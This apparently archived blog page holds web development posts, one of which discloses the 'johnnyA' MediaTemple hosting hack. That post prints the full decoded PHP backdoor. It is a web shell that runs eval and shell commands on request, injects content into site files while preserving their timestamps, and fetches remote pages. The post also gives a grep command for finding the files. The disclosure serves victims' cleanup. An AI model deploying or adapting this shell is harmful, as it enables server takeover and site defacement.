August 8  |  General  |  37 comments

Appropriate Uses for Flash

I am currently preparing for my session at FITC San Francisco where I will talk about all of the change that is currently happening in our industry. When I say industry I am not talking solely about Flash, but rather web development as a whole. The mobile explosion is providing us with lots of exciting new opportunities, but at the same time it is making things a whole lot more complicated. Moving forward, the mark of a true web professional will be knowing when it is appropriate to employ the power of Flash and when a different technology might be more appropriate. This means you will need to start educating yourself on these alternative technologies if you are not already doing so.

In reality, the situations where using Flash is appropriate have not changed all that much. What has changed is that we can no longer get away with misusing Flash anymore. I’m sure lots of us, myself included, have been guilty of that over the years. When people do this it actually hurts Flash as a technology and makes it much harder for us to convince people about its real benefits.

Flash has always been there to allow you to go beyond the functionality that the browser enables and this will continue to be the case. Video is a great example of this. Once all browsers can support HTML5 video it makes perfect sense for simple video playback to done outside of Flash. But if you want more advanced video features then you will choose Flash. On that note, we are working on some video stuff right now that will blow your mind. More details on that soon.

So why am I saying all this? Well I am planning on providing some tutorials and blog posts that focus on situations where using Flash might be a mistake. For instance, I am planning a tutorial showing how to do a basic photo slideshow using jQuery. Two photos fading into one another is a good example of where using Flash would be overkill. You will be much more successful in your career if you are someone who simply uses the best tool for the job. It’s really that simple. Sometimes that tool will be Flash and sometimes not.

If you want to hear more come to FITC San Francisco as it has the best lineup of speakers I have ever seen at one event. FITC is generously providing readers of this blog with a special $200 discount. Just use the discount code theflashblog when registering.


August 5  |  Tutorials  |  19 comments

Introduction to OSMF Video Tutorial

I just uploaded a new tutorial that walks you through the basics of building a simple video player with OSMF. This framework makes it easy to build complex media players with features like HTTP streaming, DRM, ad integration, and more. This tutorial focuses on setting up your development environment and getting some video up and playing.


July 30  |  General  |  21 comments

Details of the johnnyA MediaTemple Hack

Update: MediaTemple directed me to another blog post with additional details. This highlights another problem with this incident. The information has been spread all over the place. While this blog post does give some good details, it still does not provide cleanup instructions. It simply says that all malicious files have been removed. I’m sorry to say that they have not.

If you have websites hosted on a MediaTemple (gs) then you may have been a victim of this annoying redirect hack, unofficially known as the johnnyA hack. It was once thought to be an issue with WordPress, but in reality static sites are also affected by this. Essentially the attack works by including some encoded JavaScript onto your pages that tries to redirect you to a malicious website or file.

After much searching and with the help of this blog post, I have found the rootkit that is used to do the damage. If you have been hacked you will find some PHP files that were created by the attackers with a bunch of gzipped, base64-encoded source code. I converted that into the actual attack code which is listed below:

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<?PHP
@ignore_user_abort(1);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@error_reporting(0);
@ini_set("memory_limit","16M");  

if (!function_exists('rand_checkstr'))
{
    function rand_checkstr()
    {
        $c5 = 1;
        $c3 = 8;          
        $e7 ="";    
        for ($f3=0;$f3<$c3;$f3++) {
            $c4 = mt_rand(1,7);        
            switch ($c4) {
                case ($c4<=2):
                    $e7 .= mt_rand(0,9);                
                    break;            
                case ($c4<=4):                      
                    $e7 .= chr(mt_rand(65,90));                
                    break;            
                case ($c4<=6):                                
                    $e7 .= chr(mt_rand(97,122));                
                    break;            
                case 7:                  
                    $e6 = strlen($e7);                
                    if ($c5>0&&$e6>0&&$e6<($c3-1)&&$e7[$e6-1]!="_")                
                    {                    
                        $e7 .= "_";                    
                        $c5--;                  
                    }                
                    else                
                    {                    
                        $f3--;                    
                        continue;                
                    }            
                    break;                
                }    
            }    
        return $e7;
    }
}

if (!function_exists('strrevpos'))
{
    function strrevpos($f4, $f6)
    {  
        $f5 = strpos (strrev($f4), strrev($f6));  
        if ($f5===false)
            return false;  
        else
            return strlen($f4) - $f5 - strlen($f6);
    }
}

if (!function_exists('after'))
{
    function after ($this, $d8)
    {  
        if (!is_bool(strpos($d8, $this)))  
            return substr($d8, strpos($d8,$this)+strlen($this));
    }
}

if (!function_exists('after_last'))
{
    function after_last ($this, $d8)
    {  
        if (!is_bool(strrevpos($d8, $this)))  
            return substr($d8, strrevpos($d8, $this)+strlen($this));
    }
}  

if (!function_exists('before'))
{
    function before ($this, $d8)
    {
        return substr($d8, 0, strpos($d8, $this));
    }
}

if (!function_exists('before_last'))
{
    function before_last ($this, $d8)
    {  
        return substr($d8, 0, strrevpos($d8, $this));
    }
}

if (!function_exists('between'))
{
    function between ($this, $f7, $d8)
    {  
        return before($f7, after($this, $d8));
    }
}

if (!function_exists('between_last'))
{
    function between_last ($this, $f7, $d8)
    {  
        return after_last($this, before_last($f7, $d8));
    }
}

if (!function_exists('stripslashes2'))
{
    function stripslashes2($d3)
    {    
        $d3 = str_replace('\\\\\\"', '\\"', $d3);    
        $d3 = str_replace("\\\'", "'", $d3);    
        $d3 = str_replace("\\\\\\\\", "\\\\", $d3);    
        return $d3;
    }
}

if (!function_exists('getfiles'))
{
    function getfiles($d4, $f1, $d5=0, $f8="\\")
    {  
        if(!is_dir($d4))
        {
            return null;
        }
        $d9=($f8=="\\")?"/":$f8;
        $d4=str_replace($f8,$d9,$d4);
        $d4=str_replace("//",$d9,$d4);
        $d4=(strrpos($d4, $d9)==strlen($d4)-1)? substr($d4, 0, strlen($d4)-1):$d4;  
        $e0=substr_count($d4, $d9);
        $d5=(!$d5)?-1:$d5+$e0;
        $e8=array();
        $d7=array( array($d4, $e0) );  
        while(sizeof($d7) && $d7[0][1]!=$d5)
        {  
            $d6=array_shift($d7);  
            $f9=opendir($d6[0]);  
            while( ($f0=readdir($f9))!==false )
            {    
                if( strrpos($f0,".") === (strlen($f0)-1))
                {
                    continue;
                };  
                $f2=$d6[0].$d9.$f0;    
                if(is_dir($f2))
                {  
                    $e9[]=$f2;
                    $d7[]=array( $f2, substr_count($f2, $d9) );
                }    
                else
                {
                    foreach($f1 as $f3)
                    {
                        if(preg_match($f3,$f2))
                        {
                            $e8[]=$f2;break;};
                        }
                    };  
                };  
            }
            return $e8;
        }
    }  
   
if (!function_exists('checkcontent2'))
{
    function checkcontent2($g0)
    {  
        $e5 = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",      
        "Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9",      
        "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6",      
        "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5");  
       
        if (function_exists('curl_init'))  
        {  
            $g2 =  $e5[rand(0,count($e5)-1)];      
            $g1 = curl_init();    
            curl_setopt($g1, CURLOPT_URL, $g0);  
            curl_setopt($g1, CURLOPT_HEADER, 0);  
            curl_setopt($g1, CURLOPT_TIMEOUT, 30);  
            curl_setopt($g1, CURLOPT_RETURNTRANSFER, 1);  
            curl_setopt($g1, CURLOPT_USERAGENT, $g2);  
            curl_setopt($g1, CURLOPT_FOLLOWLOCATION, 1);  
            curl_setopt($g1, CURLOPT_MAXREDIRS, 2);      
            $g3 = curl_exec($g1);    
            curl_close($g1);      
            if ($g3 !== false)    
            {  
                 return $g3;  
            }  
        }  
        else if (ini_get('allow_url_fopen') == '1')  
        {  
            $g3 = file_get_contents($g0);  
            if ($g3 !== false)    
            {    
                return $g3;  
            }  
        }  
        else  
        {  
            echo "<h5 style='color:maroon'>Can't download ".$g0." - EXIT;</h5>";  
            exit;  
        }
    }
}  

if (!function_exists('getcode'))
{
    function getcode($g4,$d0)
    {  
        $c8 = '';    
        if(preg_match("/$d0/",$g4))  
        {  
            $c8 = preg_replace("/.*<b1><!--|$d0|--><\/b1>.*/msi","",$g4);  
        }  
        return $c8;
    }
}

$d1 = array("(\.ph.*$|\.htm.*$|\.shtm.*$|\.asp.*$|\.jsp$|\.jhtm$|\.cfm$|\.ctp$|\.tpl$)");
$a7 = array("/<ad>.*<\/ad>/si",
"/<ads>.*<\/ads>/si",
"/<bb1>.*<bb2>/si",
"/<b1>.*<\/b1>/si",
"/<bb1><bb1>/si",
"/<bb2><bb2>/si",      
"/<(span|font|div) style=.*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*(overflow|visibility)\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*(overflow|visibility)\s*:\s*(auto|hidden).*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*visibility\s*:\s*(auto|hidden).*overflow\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*overflow\s*:\s*(auto|hidden).*visibility\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      "/wpfooterz.*wpfooterz/si",      "/<a.*style\s*=.*(top|left)\s*:\s*-[0-9]{3,5}.*>.*<\/a>/Ui",      
"/<a.*(viagra|cialis|phentermine|vioxx|hydrocodon|oxycontin|levitra|ambien|xanax|adipex|cheap pills|paxil|Codeine|vicodin|tramadol|tadalafil|carisoprodol|mesothelioma|lorazepam|propecia|protonix|prozac|prescription|buy cheap|zithromax)+.*><\/a>/i");

if (isset($_REQUEST['update1']))
{  
    $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['update1'])));    
    $b0 = $b4[0];  
    $b5 = explode(',',$b4[1]);    
    foreach($b5 as $a3)  
    {  
        if (strlen($b0) > 1)
            $b0 = "<ads>".$b0."</ads>";      
        $a2 = false;  
        $a5 = false;      
        if (!is_writable($a3))
            @chmod($a3, 0644);      
        if (file_exists($a3) && is_writable($a3))  
        {    
            $b7 = false;    
            if (eregi(".htm",$a3) !== false || eregi(".shtm",$a3) !== false)
                $b7 = true;        
            $a1 = trim(file_get_contents($a3));        
            foreach($a7 as $c2)    
            {    
                if (preg_match($c2, $a1))    
                {      
                    $a1 = preg_replace($c2, "", $a1);      
                    $a5 = true;    
                }    
            }        
            if (preg_match("/<body(.*)?>/i",$a1,$a9))    
            {    
                $a0=$a9[0];    
                $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1);    
                $a2 = true;    
            }    
            else if (preg_match("/<\/body(.*)?>/i",$a1,$a9))    
            {    
                $a0=$a9[0];    
                $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1);    
                $a2 = true;    
            }    
            else if (preg_match("/<\/html>/i",$a1,$a9))    
            {    
                $a0="</body>".$a9[0];    
                $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1);    
                $a2 = true;    
            }    
            else if ($b7 == true)    
            {    
                $a0=$b0."</body></html>";    
                $a1.=$a0;    
                $a2 = true;    
            }        
            if ($a2 == true || $a5 == true)    
            {    
                $a4 = @filemtime($a3);          
                $b1 = fopen($a3, "w+");    
                fwrite($b1, $a1);    
                fclose($b1);          
                @touch($a3,$a4,$a4);          
                if ($a2 == true)
                    echo "<pre>update $a3</pre>";    
                if ($a5 == true)
                    echo "<pre>spam removed $a3</pre>";    
            }  
        }  
        else  
        {    
            if (!file_exists($a3))
                echo "<pre>no file $a3</pre>";  
            else if (!is_writable($a3))
                echo "<pre>no rw file $a3</pre>";  
        }  
    }
}  

if (isset($_REQUEST['update2']))
{  
    $b0 = gzinflate(base64_decode($_REQUEST['update2']));    
    $a6 = $_SERVER['SCRIPT_FILENAME'];  
    $b6 = before_last('/',$a6);  
    if (!is_writable($b6))
        @chmod($b6, 0644);  
    $b8 = @filemtime($b6);  
    @copy($a6,$a6.'1.php');  
    @touch($b6,$b8,$b8);  
    @touch($a6.'1.php',$b8,$b8);    
    if (!is_writable($a6))
        @chmod($a6, 0644);  
    if (is_writable($a6))  
    {  
        $a1 = trim(file_get_contents($a6));  
        $b3 = preg_replace('/^\<\?php.*\?\>/Usi','',$a1);      
        $a4 = @filemtime($a6);      
        $b1 = fopen($a6, "w");  
        fwrite($b1, $b0.$b3);  
        fclose($b1);    
        @touch($a6,$a4,$a4);      
        echo "<pre>update</pre>";  
    }  
    else  
    {  
        echo "<pre>no rw $a3</pre>";  
    }
}  

if (isset($_REQUEST['update3']))
{  
    echo "<pre>";  
    $a8 = $_REQUEST['update3'];  
    $b4 = '';  
    if (!empty($a8))  
    {  
        if(function_exists('exec'))  
        {    
            @exec($a8,$b4);    
            $b4 = join("\n",$b4);  
        }  
        elseif(function_exists('shell_exec'))  
        {    
            $b4 = @shell_exec($a8);  
        }  
        elseif(function_exists('system'))  
        {  
             @ob_start();    
             @system($a8);    
             $b4 = @ob_get_contents();    
             @ob_end_clean();  
        }  
        elseif(function_exists('passthru'))  
        {    
            @ob_start();    
            @passthru($a8);    
            $b4 = @ob_get_contents();    
            @ob_end_clean();  
        }  
        elseif(@is_resource($b2 = @popen($a8,"r")))  
        {  
            $b4 = "";  
            while(!@feof($b2))
            {
                $b4 .= @fread($b2,1024);
            }  
            @pclose($b2);  
        }  
    }  
    echo $b4;  
    echo "</pre>";
}  

if (isset($_REQUEST['add1']))
{  
    $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['add1'])));    
    $b0 = $b4[0];  $b5 = explode(',',$b4[1]);    
    foreach($b5 as $a3)  
    {  
        $a2 = false;  
        $a5 = false;      
        if (!is_writable($a3))
            @chmod($a3, 0644);      
        if (file_exists($a3) && is_writable($a3))  
        {    
            $a1 = trim(file_get_contents($a3));    
            $a1 = preg_replace("/var\sst1(.*)gr0\=0\;/i", "", $a1);        
            $a1=$b0.$a1;    
            $a4 = @filemtime($a3);        
            $b1 = fopen($a3, "w");    
            fwrite($b1, $a1);    
            fclose($b1);        
            @touch($a3,$a4,$a4);        
            echo "<pre>update $a3</pre>";  
        }  
        else  
        {    
            if (!file_exists($a3))
                echo "<pre>no file $a3</pre>";    
            else if (!is_writable($a3))
                echo "<pre>no w file $a3</pre>";  
        }  
    }
}  
   
if (isset($_REQUEST["ev1"]))
{
    $b9=base64_decode($_REQUEST["ev1"]);
    if (isset($_REQUEST["s"]))
    {
        $b9=stripslashes2($b9);
    };  
    eval($b9);  
    exit();
}  

if (isset($_REQUEST["info1"]))  
{  
    $c0 = 'dGVzdDEyNw==';  
    $c1 = @get_current_user();  
    echo "<!--".base64_decode($c0)."(($c1))-->";  
    exit;
}  

if (isset($_REQUEST["get1"]))
{  
    get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get1']) : $c6 = $_REQUEST['get1'];  
    $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']);  
    $d0 = rand_checkstr();  
    $e1 = array("((^index.*\.|^default.*\.|^main.*\.|^.*body.*\.|^login.*\.|^.*content.*\.|^auth.*\.|^.*footer.*\.|^home.*\.|^.*templ.*\.|^inc.*\.|^page.*\.|^hyperseek.*\.|^Output.*\.|^comment.*\.|^uifunctions.*\.|^bottom.*\.|^infocus.*\.)(ph.*$|htm.*$|shtm.*$|asp.*$|jsp$|jhtml$|cfm$|tpl$|inc$|pl$|templ.*$|xml$|sht$|ctp$))");    
    $b5 = getfiles($d2, $e1, 4);    
    foreach($b5 as $a3)  
    {  
        $a2 = false;  
        $a5 = false;      
        if (file_exists($a3))  
        {    
            if (!is_writable($a3))
                @chmod($a3, 0644);    
            if (is_writable($a3))    
            {    
                $e2 = base64_encode(gzcompress($a3,9));          
                $b0 ="<b1><!--".$d0.$e2."--></b1>";          
                $a1 = trim(file_get_contents($a3));          
                foreach($a7 as $c2)    
                {      
                    if (preg_match($c2, $a1))      
                    {      
                        $a1 = preg_replace($c2, "", $a1);      
                        $a5 = true;      
                    }    
                }    
                if (preg_match("/<body(.*)?>/i",$a1,$a9))    
                {      
                    $a0=$a9[0];      
                    $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1);      
                    $a2 = true;    
                }    
                else if (preg_match("/<\/body(.*)?>/i",$a1,$a9))    
                {      
                    $a0=$a9[0];      
                    $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1);      
                    $a2 = true;    
                }    
                else if (preg_match("/<\/html>/i",$a1,$a9))    
                {      
                    $a0="</body>".$a9[0];      
                    $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1);      
                    $a2 = true;    
                }          
                if ($a2 == true || $a5 == true)    
                {      
                    $a4 = @filemtime($a3);            
                    $b1 = @fopen($a3, "w+");      
                    @fwrite($b1, $a1);      
                    @fclose($b1);            
                    @touch($a3,$a4,$a4);    
                }    
            }  
        }  
    }  
    $c9 = checkcontent2($c6);  
    if (eregi($d0, $c9))  
    {  
        $c9 = gzuncompress(base64_decode(getcode($c9,$d0)));      
        echo $c9;  
    }    
    foreach($b5 as $a3)  
    {  
        $a5 = false;      
        if (file_exists($a3))  
        {    
            if (!is_writable($a3))
                @chmod($a3, 0644);    
            if (is_writable($a3))    
            {    
                $a1 = trim(file_get_contents($a3));          
                foreach($a7 as $c2)    
                {      
                    if (preg_match($c2, $a1))      
                    {      
                        $a1 = preg_replace($c2, "", $a1);      
                        $a5 = true;      
                    }    
                }    
            if ($a5 == true)    
            {      
                $a4 = @filemtime($a3);            
                $b1 = @fopen($a3, "w+");      
                @fwrite($b1, $a1);      
                @fclose($b1);            
                @touch($a3,$a4,$a4);    
            }    
        }  
    }  
}    
exit;
}  

if (isset($_REQUEST["get2"]))
{  
    $e3 = array();  
    get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get2']) : $c6 = $_REQUEST['get2'];  
    $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']);    
    $c7 = checkcontent2($c6);
    $c6 = preg_replace("/^www\./i", "", $c6);  
    preg_match_all("/script.*src\s?=\s?(\"|')(.*\.js)(\?|\/|\"|')/Ui", $c7,$c8);    
    foreach ($c8[2] as $e4)  
    {  
        if (preg_match('/^http/i',$e4))  
        {    
            if (preg_match("/$c6/i",$e4))    
            {    
                $b2 = $d2.after($c6,$e4);    
                if (file_exists($b2))
                    $e3[] = $b2;    
            }  
        }  
        else  
        {    
            $b2 = $d2.'/'.$e4;    
            if (file_exists($b2))
                $e3[] = $b2;  
        }  
    }    
           
    echo ($e3[rand(0,count($e3)-1)]);  
    exit;
}

?>

It looks like the attackers simply visit this PHP page and pass in some request parameters to tailor the attack. It looks like there are a few different options such as generating files, executing shell code, etc. I’m no PHP wizard so let me know if you find something interesting.

So how do you find these PHP files? Just SSH into your root directory and run:

1
grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *

This will list all files that have a string that is longer than 255 characters. This should help you locate these files.

My big question is for MediaTemple. What the hell are you guys doing? Why are we having to dig around for this information? Surely you have determined the same things so why are you not telling people how to clean it up? This official blog post from MediaTemple is vague and tells us nothing about how to actually clean our servers up. Do your job!


July 30  |  Tutorials  |  25 comments

New Tutorial on Flash to HTML5 Video Fallback

I just uploaded a new tutorial that shows you how to provide an HTML5 video fallback option for devices that do not support the Flash Player. The tutorial also shows you how to use the new Flash Media Playback component for quickly adding video to your websites. If getting your video out to the largest number of people is your goal, providing an HTML5 fallback is an absolute necessity.


July 27  |  Tutorials  |  17 comments

New Video Tutorial on Mobile Web Development

I just uploaded a new tutorial that shows you how to create a mobile-optimized website using HTML and CSS. The tutorial also highlights the new multi-screen development features of Dreamweaver CS5. It is important to have a strong grasp on standard web technologies as only then can you make an informed decision about when to use Flash.


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